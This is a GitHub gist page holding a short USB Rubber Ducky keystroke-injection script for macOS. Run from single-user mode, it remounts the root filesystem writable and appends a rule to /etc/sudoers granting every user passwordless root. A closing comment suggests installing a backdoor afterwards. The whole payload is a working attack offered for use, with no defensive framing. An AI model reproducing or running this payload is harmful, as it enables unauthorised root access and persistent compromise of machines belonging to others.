Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JonnyBanana/bee22aa7bc18a43b58427157dd1f9f45 to your computer and use it in GitHub Desktop.
Save JonnyBanana/bee22aa7bc18a43b58427157dd1f9f45 to your computer and use it in GitHub Desktop.
REM MacOS AllSudo
REM Enables Sudo access for all users without a password
REM First boot the machine into single user mode - https://support.apple.com/en-us/HT201573
REM By Jesse Wallace (@c0deous)
REM https://c0deo.us/
DELAY 1000
STRING mount -uw / && chmod 755 /etc/sudoers && echo 'ALL ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers && chmod 440 /etc/sudoers && shutdown -h now
ENTER
REM Now would be a great time to install a backdoor. Ez root ;3
REM TODO Use visudo for edits (unconfirmed if working)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment